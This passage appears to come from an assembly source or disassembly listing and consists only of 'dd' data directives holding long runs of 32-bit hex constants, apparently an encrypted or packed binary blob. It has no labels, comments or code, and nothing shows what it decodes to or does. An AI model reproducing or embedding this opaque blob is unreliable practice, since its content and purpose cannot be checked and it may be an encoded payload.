		dd 0A3B65915h, 0E9AFF2BEh, 9BA65B4Eh, 0CDA99E25h, 5B2AA486h
		dd 0A2EFF8ABh, 44FFFE25h, 26EE58E6h, 291E587Ch,	9B22CEC6h
		dd 0EB36C5C4h, 9237DD93h, 7A2FFD99h, 0CA9A1916h, 914897h
		dd 0BA8E65CFh, 43278D1Bh, 0EAE21CC8h, 7B7AAF6Dh, 77418BDEh
		dd 0EEB9490Bh, 6A15DAA0h, 0FA31C0FFh, 0C13E28CFh, 8F52BADFh
		dd 4FA488D7h, 961CDE15h, 0C441D248h, 821F915h, 61C2D4BFh
		dd 0F24ADC85h, 0C31EA6CFh, 32309B1Dh, 0F85DAE04h, 0A4181688h
		dd 8B350216h, 0A4699869h, 0B31E253h, 61094849h,	0EDE4DF97h
		dd 0E380CC1Ch, 7D4EF092h, 8BB185E8h, 0B34F186Dh, 0BBF297BCh
		dd 0FD08D80Dh, 9836D315h, 0D5D9518Bh, 0ED2218C0h, 987C4A9Ch
		dd 0C471388Dh, 0AFA84F44h, 0D317A50Eh, 0EB5AD8DFh, 89466F7Eh
		dd 79DC6336h, 598F565h,	5B9ABD15h, 0AB064F4Dh, 4485FE16h
		dd 29B458A8h, 490AF898h, 539A9E9Ch, 0A3CF8E69h,	0AB66BD48h
		dd 8AF2D849h, 0ADE64077h, 0F9860F3h, 0EC12F09Dh, 10817A95h
		dd 0EEDAA11Ah, 54203CDBh, 5E9DA0Dh, 0BC8938CAh,	0AA27A860h
		dd 1DD92E7Bh, 0B3E57FFDh, 0F8C2D719h, 0DE2AB5Ah, 0C7AA8FAEh
		dd 4B9D642Ch, 0CC20512Fh, 0D5892E13h, 0C621FC9Dh, 667CED36h
		dd 447B384Dh, 0F612EC7Dh, 0C9F75B2Ch, 0A630F2CDh, 0E237B1Ch
		dd 0EBB2DCABh, 37DAF38Bh, 4D6160CBh, 0A8108AEBh, 8806DCFDh
		dd 0EBB4BC8Ah, 0E8329C3Dh, 89C2D132h, 0BBDEB0D1h, 4E41F10Bh
		dd 9E2FED9h, 8E06DADEh,	8AF6E5B1h, 9127DAF3h, 8A0F7FE5h
		dd 0CD6B9CF0h, 671F60FAh, 46295B3h, 0C5F2A72Ah,	2D8FDB7Eh
		dd 0DE75C461h, 0B60D416h, 0F4C05952h, 2DE3EF75h, 0F579ED65h
		dd 400853D6h, 4621EFACh, 96D966C8h, 4505D115h, 413481Dh
		dd 273F44EDh, 62C2E0CAh, 4A1DA095h, 2C2664DCh, 9C2F443Ch
		dd 0E75A8D24h, 0F4BEDE8Bh, 8BDD6D29h, 9427E837h, 7A24FF51h
		dd 0CB31FF59h, 0DE215E42h, 0FF9566C9h, 0F5260418h, 370E131h
		dd 3F2E82A9h, 0F526612Ch
		dd 4D7D6051h, 4D42814Ch, 0F6F6BBBBh, 71AD303Ah,	79B2FFE5h
		dd 7931E5B9h, 43D93C9Dh, 0E25AECE8h, 0C28E8282h, 1E3E8D2Fh
		dd 7B1AEC8Dh, 57A2BBD6h, 49B170D1h, 6818C2F5h, 5ED16DBh
		dd 0FC8547CFh, 4B3FDEA5h, 0B6129FC1h, 8BDD5915h, 94103AEBh
		dd 0C54AFFCDh, 0AA1C48CBh, 0B518505Dh, 0EB20C235h, 0BD8AF8C1h
		dd 24DF18h, 0C622CC45h,	16BC4503h, 8AF370C9h, 0C559AAEEh
		dd 84F29B96h, 4A86610Dh, 0F502E845h, 0A4F820E0h, 583F0D6Dh
		dd 0E06B2126h, 15997E2Eh, 0E91A90CFh, 48351B95h, 0ED72D6B6h
		dd 0CD7FF0EDh, 95FE99EBh, 8820392Fh, 5516D16h, 450058B0h
		dd 0D58F3C2Eh, 0D566DF28h, 0CE26F37Ch, 0B01E62EBh, 0B816CED1h
		dd 88B2D8C9h, 5ADF4663h, 3C7AA89Dh, 0B6CF46D6h,	0F31E682Eh
		dd 4C2F18D1h, 0E08CFE29h, 944AC84Fh, 47428891h,	30676DCFh
		dd 0ED6DBD26h, 0BA29B85h, 1C274452h, 0F9AD7315h, 6398C5BFh
		dd 5BB0BD15h, 0F006C6A7h, 0CDA0EB91h, 92516131h, 54152CDBh
		dd 8FDD70C9h, 0F58A4C17h, 97EE48BBh, 0CE0CFFD1h, 17A7CE95h
		dd 77315BB4h, 0F3307EF9h, 0C2F6ECCCh, 1E3AE12Fh, 7E10FA4Dh
		dd 2782845Ah, 744AD0C9h, 6588B2Fh, 9564EFFDh, 0CE395A97h
		dd 87AECE35h, 0D7694FFDh, 0CD11461Ch, 0F1B2E61Fh, 43D96BCEh
		dd 0F52491FCh, 9DF85CF9h, 0BB2299E3h, 1E30D86Fh, 5D49EEDh
		dd 0BF51F8B5h, 0F3719260h, 6231543h, 165FD11Ah,	0EED1DD87h
		dd 0F321652Dh, 95A3192Fh, 8C49DC2Ch, 35511019h,	0C1250E27h
		dd 0C4E7D18Dh, 0FA092FD4h, 0B000242Fh, 0F65E191Ch, 9599E0D5h
		dd 0F0E0E519h, 0FC64E111h, 4E295A34h, 0E65AF4B0h, 8A385D1Fh
		dd 0F0FFF47Eh, 0AC87883Ch, 4051E0E9h, 555A991Eh, 0AD18E926h
		dd 0CD9AF1C1h, 0C54C6F6Ch, 0CC0FF2F7h, 0CD0F4CCCh, 6B36DF45h
		dd 292CF3B5h, 74924A35h, 0E4A91808h, 7A5CAF9Fh,	2369AA4h
		dd 47AD2F7Bh, 6CC912C9h, 4560A0B1h, 422B361Dh, 0B203488h
		dd 5DFCE0CDh, 0EC3F9B1Eh, 0F7821925h, 0E530A34Fh, 97002F19h
		dd 88664F9Fh, 0F52C4809h, 0FD329B1Dh, 0DC6DA125h, 7B14E0D5h
		dd 0C5056711h, 0E4C8DC1Dh, 8E37E8EDh, 0C61B421Dh, 4A2A4F1Ch
		dd 26F0E8A0h, 0CDEBC8D3h, 0B6EAD068h, 0ED3EF1DFh, 9FA1DCD0h
		dd 2EDEC957h, 24909807h, 8E216124h, 0D4F95A7Eh,	0D6FF1886h
		dd 99D3750Eh, 359411Dh,	459F0325h, 0C188DC91h, 0C202A49Fh
		dd 85AE0E25h, 0E5E51F49h, 0C416F235h, 5E060DC5h, 0C9321943h
		dd 4A0AF79Eh, 931E0C9Dh, 0F22E84DFh, 25DBF493h,	0B6286790h
		dd 0D4206F06h, 0CB011B3Fh, 4F12E02Bh, 0EB146FDDh, 0F1F2976Dh
		dd 58290FF6h, 47DEE87Ch, 4D5D6EC9h, 0C9206FADh,	0C81D432Fh
		dd 0C45A6741h, 8E5AFC57h, 0F4586F65h, 0DA58DC6Bh, 0D421E594h
		dd 0EA261E92h, 4525D91Dh, 8A24FF23h, 93D9E231h,	8E3EE11Fh
		dd 0BFA1EFD5h, 0AA1EEF2Fh, 0FBC0981Eh, 8DD2FD19h, 0EBA36018h
		dd 0FEB6DD1Bh, 0FE2F4694h, 0FD194929h, 0FC3F5A9Ch, 4D362CC9h
		dd 0EA36EE6Fh, 4535D87Dh, 0F634FE03h, 0F71D6111h, 0C4329827h
		dd 8E31FD35h, 0F43F603Bh, 843FDCC9h, 0B620FC94h, 0A01AFC29h
		dd 5230FA9Ch, 4CD8F9C9h, 0E9AAEF35h, 44BCD934h,	898EFF37h
		dd 0E1D85F36h, 0E13D211Fh, 0E7A032D5h, 0E71D052Fh, 0C5016707h
		dd 0E55F6015h, 0E41AEB29h, 9B30FC9Ch, 0EA0EEE04h, 450DD8CDh
		dd 8A0CFED3h, 0A3D9C9E1h, 5E3EC91Fh, 4FA1D7D5h,	7A1ED72Fh
		dd 0F9BF67C6h, 0D4BF60A2h, 314B1932h, 0A5AF612Bh, 86201E7Ch
		dd 65A1C0B8h, 0B8094857h, 354098CBh, 0F43238C4h, 2492DB0Ch
		dd 0E5F76E1Dh, 261C1A2Fh, 9E09C07Fh, 0D121246Fh, 2BE1CF6Fh
		dd 0E470B23Ch, 53003EF0h, 859EB0D7h, 663F8205h,	0A99489Ch
		dd 36CF2F69h, 0D33503C4h, 0EB206F92h, 7A0288BDh, 9DFC309Bh
		dd 9D12193Fh, 47E2F4D5h, 0B63FA8CAh, 0A59AB89Ch, 55C08869h
		dd 463698C4h, 0EBAAD993h, 0F96177ADh, 659A18B5h, 89CED8A9h
		dd 0DD1CB916h, 9DA8006Fh, 14EAA305h, 922AFA98h,	0ED22AF15h
		dd 0FDA1191Dh, 0ED7EF055h, 9AD88CD9h, 8E17BD15h, 0C01C5214h
		dd 45019895h, 6FC1547Dh, 0CDD7ADC5h, 79FA9B34h,	719A189Ch
		dd 6F2D70B4h, 448F591Dh, 0CD95F80Bh, 0CE3F589Ch, 0F4312DDEh
		dd 2D58DC63h, 0DA1B18ABh, 0EA93122Eh, 0E2DEF9Bh, 5E09712Dh
		dd 0A9216D36h, 955ACF3Bh, 81E6E8A4h, 2CD8AA15h,	0C5E6BF1Dh
		dd 89597AF0h, 4B228C85h, 47EFE0ABh, 44A9FE15h, 678258A9h
		dd 0CD976D1Dh, 57D5B55h, 280835FFh, 253EFF1Fh, 0CF0914FFh
		dd 0C41A649Ah, 0EDA1F42Eh, 977ECD55h, 0BA09A7FFh, 8EA4B221h
		dd 44CDFDF7h, 13BAB78Dh, 0E3F1F2Fh, 7E3A8006h, 1D328891h
		dd 395A8E85h, 0A31A2CC5h, 0CA7EB12Eh, 8E74C8D5h, 7787FDADh
		dd 0B18AC2BBh, 641288DBh, 45016B6Dh, 7C9053B5h,	3DD928D6h
		dd 0E632AD63h, 0AA0AF936h, 0D122DCDAh, 4512FDF3h, 5E51FED6h
		dd 0F7B94DDBh, 0E92C2ECh, 5E9B98F1h, 42DF5995h,	2BA5E93Ch
		dd 7DC97051h, 6B34F0BEh, 629A7931h, 1A494F94h, 7002976Fh
		dd 834FD43h, 0EA64F32Eh, 0F03E2823h, 2734FD69h,	0EA48F32Eh
		dd 0EA81C15h, 0F29B991Dh, 4E3B5995h, 0EDACF4Ah,	8E9B98C1h
		dd 4DEF5995h, 0EDAB34Ah, 5A9B98F5h, 4DD35995h, 0CE0F6748h
		dd 0F1B3D799h, 191A62B7h, 2A0512Eh, 347D2A55h, 0EE3D04FFh
		dd 0AE2109D7h, 735F5F15h, 0C0A9C084h, 0F423F31Ch, 0EB04DD25h
		dd 0CDA6E0ABh, 4D01C2C9h, 0FE22A3C4h, 99D9DD15h, 0C5A8A21Fh
		dd 0FBE8193Ch, 99FDFC3Ah, 0A65ABF1Dh, 5318D729h, 0A5AB91Dh
		dd 7A15D88Bh, 0CD61E09Ch, 95A07495h, 6B217A34h,	5380E015h
		dd 0C5E45394h, 4C9A1925h, 736FEECBh, 305AC01Dh,	2D3DD81Fh
		dd 0CDF0E139h, 83E6FC79h, 0CDFAE002h, 0C9B6E64Fh, 462DD8D2h
		dd 0EA310F23h, 4507D8DFh, 8A0CFEDEh, 0B8D9DFD9h, 0D53AA51Fh
		dd 8DA95FE0h, 6B4A93C9h, 5342FF11h, 0F58AAB21h,	0F3DAF455h
		dd 0C2728F82h, 0CA7EF055h, 0E422A0D3h, 0EE22183Dh, 823C800Ch
		dd 0E56F8129h, 0C4761057h, 0B20144C9h, 258AD8A0h, 85FEC0B0h
		dd 0BA71D81h, 0A621CA0Ch, 0B42B9952h, 0A5AC621Dh, 6212B098h
		dd 1DB5B4BDh, 0B5606045h, 0A5B2CBD1h, 6EAF3896h, 0ADBA6EF9h
		dd 688A1CCDh, 6700BFF5h, 0EAF2B1CDh, 4ED4487Dh,	4950E87Dh
		dd 91814F4Fh, 0BFE21CC9h, 257F010Fh, 0E63A15C4h, 41B41B1Fh
		dd 0C561EFCDh, 9EA90ED5h, 702D099h, 4DA9EED6h, 429ED56Fh
		dd 8D71664Dh, 91A2DB5Bh, 753E725Dh, 0BD9BB5CDh,	0E592AD61h
		dd 77D95936h, 0B052FA5Dh, 25FDD090h, 46060932h,	7722A93Dh
		dd 0C46318BBh, 0F74AC563h, 84CAF835h, 859EF565h, 0CE08C2A2h
		dd 7CC13E4Bh, 0CDE6963Dh, 8BC97A8Bh, 18E10E9Ch,	0E5916BD5h
		dd 55A1C8BAh, 0BAA33041h, 0D83F1876h, 9B21F95h,	35A88D11h
		dd 0BCE12136h, 8302A4CDh, 0CDFBC8A8h, 0A61A3495h, 0C97E962Eh
		dd 8874D0D5h, 6E5A1EADh, 1E3540C4h, 0CDA1D8B0h,	35C9992Eh
		dd 2447C0D1h, 0D839B93Bh, 753E5315h, 0FE9AE51Ch, 0E0C0FE69h
		dd 2A02DC36h, 0A54AA710h, 74F2C55Bh, 8DC7ECB5h,	0CBA18A55h
		dd 9AE39FC1h, 0AA9D6475h, 6BFE5C9Ah, 985BD49h, 0AA9D48EEh
		dd 7FE5C4Eh, 969BD49h, 7DB23CEFh, 45CDDCADh, 0F59F68B0h
		dd 91892DAFh, 0E61568DBh, 0CE0AC7CBh, 8D9AD09Ch, 2D7EA92Eh
		dd 44C2FDF2h, 29D15885h, 9CA28E95h, 0CB30F1A5h,	0A55BD12Eh
		dd 479AF44Dh, 0E5802085h, 95E890FCh, 1DBF0049h,	608144EDh
		dd 6B22BF3Dh, 2770E93Ch
		dd 895A9B2Dh, 0E5861935h, 0EC8AFA7Ch, 95B4E8C5h, 0EA1EB136h
		dd 0A05AE0C9h, 5DA1812Eh, 4B1554CFh, 47D8E8D4h,	5BA9BCEDh
		dd 0FE21C7AAh, 0B003EB8h, 2B61CF6Fh, 0E47F323Ch, 0D3003E70h
		dd 6A59C06Fh, 0FEFB1041h, 4E3C5995h, 0EDACD4Ah,	869B98CCh
		dd 9BF45B95h, 0A109BC15h, 8EA48C21h, 44DDFD80h,	29AC5890h
		dd 9CBD8EA0h, 478DF4B0h, 93E53CAh, 3899239Ch, 28CF3369h
		dd 53B93C36h, 0CCC2C50Fh, 687D8850h, 9FAD92Eh, 24CFB0A5h
		dd 0FD419325h, 7F290F94h, 953F77Ch, 0AA654DEEh,	6FE5C4Ch
		dd 975BD49h, 0AA9D05EEh, 0CEF05C04h, 252DE8ABh,	0FD41FE25h
		dd 7DFE003Ch, 0EE30C86Fh, 462ECA17h, 0F8B621C5h, 0C5787145h
		dd 0E594F99h, 5B9A3C41h, 0F175D75Fh, 0DB1D6275h, 80549814h
		dd 8DBA001Dh, 8EA4ED15h, 8A38FF22h, 0D0A4CC13h,	8EA4A021h
		dd 44F8FDE1h, 28DE5885h, 7D1ACE93h, 0F1BE18A4h,	161D62BFh
		dd 0FB679827h, 9B6CFC26h, 0F13D3025h, 0AA2104D7h, 4E33D87Ah
		dd 0C09C790Fh, 9D2A193Fh, 4004F52Eh, 4D3DD7C9h,	0E93CEEC9h
		dd 0CC2ACCD2h, 0AE2AF915h, 0CDE8ED0Ch, 0E2A1BB55h, 0E21E812Fh
		dd 55297A86h, 0FDE5C315h, 7CDC190Fh, 0E52F6025h, 0C60F7528h
		dd 645977AAh, 113ECD1Fh, 0DAECBD5h, 0B221371Dh,	0D4A033FDh
		dd 0A726C91Ah, 2DB9C335h, 0E5FAAAE1h, 8A1360BFh, 29A4690Bh
		dd 98A8DBDh, 0EAB4D800h, 0F03E2323h, 2A2EFD64h,	404144E5h
		dd 0E4B8E06Fh, 0EB003F25h, 3404CF6Fh, 0E470C83Ch, 8A153EC9h
		dd 0C11CD917h, 0CE3A806Fh, 559A891Ch, 45C09869h, 763568C4h
		dd 0EABAD993h, 0E18972BDh, 0C01E94ADh, 28D14355h, 2E0ACE6Dh
		dd 814FD8A4h, 0EAA31615h, 0C320460Eh, 0FFD8A8E5h, 0E434BC1Dh
		dd 0E009FB15h, 9CB15919h, 951EE0ABh, 0F9199816h, 24E1A895h
		dd 0CBD970D2h, 3224B895h, 920968DEh, 0A9DD889Dh, 63F81ADh
		dd 0D44F289Ch, 0FAC22929h, 0BDA7457Dh, 0A7231849h, 8095452Eh
		dd 753E3325h, 0F40B6015h, 0C914DD09h, 3C70DA94h, 0B3FAA835h
		dd 29C158EDh, 9CDC8E86h, 0E1AA69Ch, 161A32BDh, 3FA0262Eh
		dd 0C8573F55h, 25D70919h, 0AD8E4432h, 49E96549h, 0ECC4E13Dh
		dd 0B5E9C13Dh, 0DCE15926h, 9EA2EF0Fh, 5D63809Ch, 3D9671Bh
		dd 8E6CC855h, 89AAFE9Dh, 95BC7E0Ch, 9F2118EFh, 3D99211Ch
		dd 2E023068h, 0B312D936h, 0E1C428Fh, 0E5C78848h, 0EDAEF12Eh
		dd 2F015915h, 5AA65C6h,	62195118h, 0AE1D62EDh, 0FBC2980Ch
		dd 8DCAFD0Fh, 0EFD1730Eh, 4CD95945h, 0FE5AE11Ah, 65EE351Fh
		dd 0BD97F83Dh, 11715A99h, 0AA1143E5h, 924A8E7Dh, 2573418Fh
		dd 0F580EE52h, 8D8C70BFh, 702C099h, 4E1AECC5h, 8E193CCDh
		dd 0ECE1730Eh, 0F2428FA5h, 0A9029057h, 7AE2CE95h, 317F72C4h
		dd 0FAE9B50Dh, 0E6255395h, 5E197A55h, 0D62A495Dh, 25EAD12Eh
		dd 0A5294FB2h, 0A02B6B5h, 0FDFE411Dh, 0EB0AC648h, 0F202976Dh
		dd 0CAA061C5h, 1E2EE91Ch, 0B31D62DDh, 2BFC980Ch, 0BE2C309Ah
		dd 68A144CDh, 0A6DABD3Dh, 0C97D412Eh, 8E7348D5h, 756AC55Dh
		dd 0D43F3D9Ch, 0DDAD0285h, 412C30DBh, 0CDBB4F69h, 0F63018CEh
		dd 343AD88Ch, 0C463A0D9h, 8E96FD63h, 0B5DAF595h, 651A3318h
		dd 0B5DB6285h, 773E6FCAh, 0C1E5439Ch, 422A5592h, 0FD40277Dh
		dd 29290F5Ah, 244FE87Ch, 641C1025h, 921CE1C1h, 0E316DB20h
		dd 8809D4CBh, 4218D9C1h, 0FD41ABDDh, 9AC20FEEh,	0AA9E8FDDh
		dd 40FE5C82h, 9B7BD49h,	0AA9D47EEh, 8FE5CBAh, 0B36FBD49h
		dd 0F40A971Dh, 0FFC2FE26h, 418FA0FDh, 0C5AFA885h, 0F03FBE23h
		dd 5734FDFCh, 0EAA5F32Eh, 0F03E7623h, 1F34FDB4h, 0EA9DF32Eh
		dd 0F03E2E23h, 2734FD6Ch, 0EA55F32Eh, 0E8EE615h, 0EE9B9924h
		dd 4E0C5995h, 0F03E3252h, 0B734FDDCh, 0EAC5F32Eh, 0F03F9623h
		dd 7F34FD94h, 0EABDF32Eh, 253E4E23h, 0FED2E00Ch, 19029D26h
		dd 0E262C546h, 85E9C0BDh, 0AE41B621h, 95AF88A5h, 0F03F8D23h
		dd 4634FD8Fh, 0EAB4F32Eh, 0F03E4523h, 0E34FD47h, 0EA6CF32Eh
		dd 0F03E3D23h, 0EB0AFD7Fh, 0EB24F2BBh, 0F03FF523h, 9E34FE37h
		dd 0EB1CF32Eh, 0F03FAD23h, 0A634FDEFh, 0EAD4F32Eh, 0F03E6523h
		dd 6E34FDA7h, 784AD22Eh, 2F9E9924h, 0DF7F2F3Ch,	4D72B9ADh
		dd 0ED9024Ah, 4DE06701h, 5F8BE694h, 4E2AB95Dh, 0EDAFA4Ah
		dd 8B9B9939h, 4DE15995h, 0EDAB24Ah, 539B98F1h, 4DD95995h
		dd 0ED96A4Ah, 1B9B98A9h, 4D915995h, 0ED9224Ah, 239B9861h
		dd 4D495995h, 0E48A1A4Fh, 0F4003F19h, 3402CF6Fh, 0E470D33Ch
		dd 0BC003ED1h, 2BFACF6Fh, 0E4708B3Ch, 44003E89h, 0A999D16Fh
		dd 0E36040Dh, 4DA65944h, 0ED96A4Ah, 5D7C67ACh, 9F28C8EFh
		dd 0C012119h, 2FFED866h, 0CB3D0FFFh, 0B52E11D2h, 0A788E395h
		dd 0BE1C1133h, 0E5A9D0BFh, 0BDA03ED3h, 0AC003EE1h, 0BD0A976Fh
		dd 0E1AB665h, 5B863CADh, 0FB91D7BBh, 0E263FC0Eh, 0F33AEFDDh
		dd 0FD965F44h, 0F8290016h, 2531E87Ch, 9141C225h, 8637480Dh
		dd 0B802B057h, 554F78CBh, 1169601Ah, 0CBA061ADh, 1E36191Ch
		dd 2C9624Dh, 0EB52E9BAh, 0F142B7C5h, 4E296D06h,	0C49A550Bh
		dd 8FEED897h, 7D110E95h, 0D970A63Dh, 3020217Dh,	0BFF5692Bh
		dd 4580D85Dh, 683575C4h, 0CA81DC93h, 0A17F5194h, 7565AEA5h
		dd 0F335F87Ch, 4695EFA1h, 0F1A3E013h, 0FB07621Ch, 0A607D933h
		dd 0F1F2B7D5h, 581A62F6h, 0CB1E902Fh, 0A9E17B92h, 163F814Dh
		dd 3F99259Ch, 26CF3F69h, 0C63E90C3h, 31A95323h,	740152DFh
		dd 95A2C9CDh, 29A58041h, 4D5094EDh, 559AF5ADh, 0FED8656Ah
		dd 9D6AEBBDh, 89A340B1h, 0FD91F46h, 4D808B6Fh, 0EA95411Ah
		dd 0E5108F22h, 862C411Ah, 4031453Dh, 0D596C585h, 0A90963E1h
		dd 0EB02C5DDh, 82C29745h, 377958A5h, 733060CAh,	31A95986h
		dd 0CA9950CAh, 6202A098h, 0DEC9626Dh, 0D72E889Eh, 40A144FDh
		dd 8892F06Fh, 0A2915B75h, 7A1AFE3Dh, 0B69A18CDh, 0AF161E9Ch
		dd 0CD8AC8E1h, 1540FFCBh, 0C4627081h, 8E96FD63h, 0BDA46285h
		dd 0B63FF69Ch, 0E5E53084h, 0A9D30F76h, 8B28965h, 0C1B1684Ch
		dd 91A28A7Ch, 6600B71Ah, 0EC596822h, 0D0A4CC21h, 8EA4A321h
		dd 44FBFDE4h, 29D458FFh, 9CAC8E95h, 4786F4ACh, 93E56CAh
		dd 3799209Ch, 0D9CF0769h, 2F2D11C4h, 0EBF90F85h, 0BC29D26h
		dd 0AA9E88EEh, 47FE5C8Eh, 1D510849h, 659AD927h,	0ACF4869h
		dd 0F43222C4h, 0DB4ADB0Bh, 0F14AD77Dh, 919FDB0Eh, 46AAD813h
		dd 0E9A3E024h, 85BAA919h, 8570FDCBh, 2BEAC0A4h,	0BE303006h
		dd 5C9A829Ch, 0EB039C69h, 0F98297B5h, 28971915h, 4EACE4Bh
		dd 0C5E534C4h, 65FF0F6Ah, 0A79DED69h, 0A22EEBDh, 47CA106Bh
		dd 61D2C47Ch, 0AA1143CDh, 9D1A8ECDh, 0BE5AA4DDh, 85F2AA93h
		dd 45A1E455h, 0E5BC9041h, 0ED1298DEh, 7DA1189Dh, 6D7D7055h
		dd 65A774DDh, 9B8ABC1Dh, 0E085115h, 5DA32121h, 1D8C4B65h
		dd 253DFB41h, 0F501733Dh, 0E91AFF01h, 0BA43C4FDh, 0C39AB0CCh
		dd 1F3D9096h, 469C6F7Dh, 0E5FFEE36h, 94FE5D3Bh,	7CE6BE49h
		dd 0B436AA15h, 0EAC5D993h, 0E2DE7285h, 0EFD08D6Dh, 0FCCF30DEh
		dd 517F58C5h, 9DA5B50Dh, 0CDE130E9h, 77890636h,	0D62BC17Bh
		dd 0F5EAD12Eh, 0D62A714Bh, 95E9C12Eh, 9D85A621h, 363FEA9Ch
		dd 53368084h, 0CDDFAD93h, 0CB1D662Fh, 0C45D679Eh, 6B2977A6h
		dd 633E1B1Fh, 1AA119D5h, 0CCA05555h, 0CC1D5E2Fh, 3B1D6256h
		dd 0FB779811h, 5B7FFD10h, 8C23FC76h, 0D2FEE07Eh, 0CADAEFD5h
		dd 4D26594Ah, 0BA88C0FCh
		dd 8337D515h, 0D81D857h, 0B5DEF62Ah, 43D1654Ah,	8E6CC005h
		dd 0A47F349Dh, 159D6435h, 4DEAC9DEh, 0CD62EF72h, 3CE13057h
		dd 9ECAEF16h, 9B9423ADh, 0F55AF79Dh, 8EA4C521h,	4510FE3Ah
		dd 29E958D0h, 9CC48EEEh, 9DF8EC1Bh, 3539DAFDh, 0CE3F58BDh
		dd 0E58DC06Fh, 3C12099h, 35FE1865h, 260838FFh, 0F930A0E6h
		dd 0C54190CBh, 6837E854h, 0EB3FDA15h, 0E0E6036h, 0A41B3CC6h
		dd 0F1ECD7D3h, 0A81A62E3h, 5CA1802Eh, 4C7E9F55h, 72086FFFh
		dd 8EA37D21h, 448EFDB1h, 63AAD841h, 1D38B11Ch, 0B63F264Ch
		dd 0E58C606Fh, 0ED63F09Ch, 9AEABE1Ah, 92217D49h, 8D39DAC3h
		dd 0F272B7DDh, 5D7E8055h, 40099DFFh, 44A26821h,	0E302E00Ch
		dd 0E5BC5045h, 0F4C3B0E9h, 0F2A2976Dh, 0E5E9E05Bh, 29A450B5h
		dd 263FC22Dh, 3027D084h, 0B58AC51Ch, 0A6E13C88h, 55C9912Ch
		dd 0DCB15926h, 9E82EF0Bh, 0D62509Ch, 3A62BE1Fh,	974BD49h
		dd 6A9D07EEh, 0BD4EC75Dh, 410518E5h, 0E466F04Fh, 9B003F35h
		dd 3414CF6Fh, 0E470D83Ch, 0EDC03ED9h, 0BDE8B0E4h, 4D7E9055h
		dd 1B9D6AFEh, 18B14E4Dh, 0D916FCDh, 5B6B3B56h, 0CDA83FA5h
		dd 474BF471h, 15AB2305h, 0C5D8E3EAh, 0CE1AE8C9h, 0E79AFD9Ch
		dd 9D3FE69Ch, 0C230DC9Ch, 4D25A1C9h, 0EA24EEE7h, 7A23D8E8h
		dd 529A18FDh, 44C09A69h, 6F3574C4h, 86395B97h, 29A5C295h
		dd 1D514853h, 0F59AC127h, 0DB7ADAE3h, 0FDDAE9CDh, 0B61F3532h
		dd 450BD87Fh, 0EA5F0E8Dh, 374AA085h, 0A8E97230h, 0C3FAC5ADh
		dd 0B61F5EC9h, 2E352804h, 349F168Ah, 0F55AB118h, 0C55E0F4Eh
		dd 7E0CC0C5h, 0D428D79h, 0D5FA4649h, 95A5B295h,	8463E5F3h
		dd 0E60D8F0Dh, 3D96F09Dh, 0E7113C90h, 1E01191Ch, 9D7E9BEDh
		dd 29D2FDF2h, 37FAD90Bh, 1DC970C8h, 659A189Dh, 15CF4869h
		dd 287F58C4h, 0A2915C2Dh, 4442FDE5h, 65E5C06h, 0CDA9E5EFh
		dd 4034F51Eh, 0E03FFACAh, 949ACA9Ch, 84C0A769h,	0AA36B4C4h
		dd 5E315C97h, 59EE64F1h, 44D6FE15h, 44A55889h, 89AEFF1Fh
		dd 0FDBB751Eh, 0F5B4EB7Ch, 6DDA1E95h, 35EA353Fh, 837AD495h
		dd 0A27E106Fh, 4F480C5h, 7EA780EAh, 1E0E600Dh, 0AD61AF3Dh
		dd 0E58DD8AFh, 0EFE8A09Ch, 0F8AD80ADh, 0BD097E0Dh, 6FD7F4FDh
		dd 0EADCDA15h, 0DB56F9Ch, 5B8F3CAAh, 0F19AD740h, 0D50A665Eh
		dd 0C636B4E2h, 0F65BDFF7h, 0B95ADEDEh, 51F1DFFAh, 4FE27EFh
		dd 34FC37E9h, 24FA07EBh, 0DCF817F5h, 0DCC617F7h, 0DCC417F1h
		dd 0DCC217F3h, 0DCC017FDh, 0DCCE17FFh, 0DCCC17F9h, 0DCCA17FBh
		dd 0DCC81785h, 0DD101787h, 0DD1E17CFh, 0DD1C17C9h, 0DD1A17CBh
		dd 0DD1817D5h, 0DCE617D7h, 0DCE417D1h, 0DCE217D3h, 0DCE017DDh
		dd 0DCEE17DFh, 0DCEC17D9h, 0DCEA17DBh, 0DCE817E5h, 0DD3017E7h
		dd 0DD3E17C2h, 0DD3C0829h, 0DD3B17E3h, 0DD390837h, 0DCF20834h
		dd 0DCF60836h, 0DCF417EDh, 0DD00083Dh, 0DD0E083Fh, 0DD0C0839h
		dd 0DD0A083Bh, 0DD0817C5h, 0DD03082Dh, 0DD0417E1h, 0DD170832h
		dd 1411082Fh, 0CCD55B18h, 0FDCFFC2Ch, 0CC251B2Dh, 0B66EECB6h
		dd 0CAC3C393h, 3DCEBBF3h, 5EF1B8FEh, 0A96115FFh, 50F992F0h
		dd 0D8038A29h, 0F7CA9DF1h, 941297DAh, 0A5F99F29h, 753F6BEEh
		dd 50FEDC2Dh, 9436E723h, 41277CC7h, 0D5E369E1h,	59FC81DEh
		dd 4F1A31FAh, 0A6FF87D0h, 2E358D90h, 88E0A4D2h,	0CCE4C9E1h
		dd 0AAFD88BDh, 0A9C35BF8h, 0E793A3C7h, 8DED402Ch, 366B8AF1h
		dd 28F6D582h, 863EED39h, 0F5132F10h, 0EF26E510h, 372F7AE9h
		dd 0B1C1720Fh, 7445FEF3h, 0FE31D3ACh, 18C28C11h, 0FCE033E9h
		dd 85C5E7F5h, 0B8E2DE19h, 8DE5EBADh, 0D90496C6h, 0BFC5BC3Fh
		dd 94227E84h, 0E85C6532h, 0F7EFBCD2h, 1F039ADAh, 0E966F87Bh
		dd 0D0061B33h, 0ACCDECCFh, 0ED0CDCF1h, 59D57EC1h, 0B8FD8434h
		dd 0A6F09E72h, 59917585h, 6C4B32C7h, 3B5038BBh,	0CDF67E3Fh
		dd 97257AE0h, 0A50F310Fh, 4E0F813Dh, 8E71A0E5h,	811F3911h
		dd 9E091EC8h, 45EEF4D4h, 0E15DCC1Ch, 0F7F9BFEFh, 48C5FD25h
		dd 9EFF8AFEh, 0CCDD2673h, 9A5ABFE9h, 25D752D5h,	37FA12EFh
		dd 0FA5ACC44h, 0BA9AB9FBh, 94ECF092h, 0A1F18BFEh, 0E5E13F62h
		dd 0A92E90D7h, 0CE115AFBh, 8460DEBh, 0E7FA310Ah, 59CFB03Ch
		dd 1910432Fh, 0E0DE9C63h, 0F6571322h, 72FC84F6h, 0C1D71BE9h
		dd 0ACC6AF00h, 2C2B52EAh, 5E2EAE2Dh, 0A2EA99FDh, 0EA71F7B4h
		dd 0AB31BA48h, 0C3B01924h, 0E40FE721h, 440ECA3Bh, 0D9DFF7FFh
		dd 1535EBh, 95628438h, 3A589117h, 4B5ADD7Ch, 0B811D233h
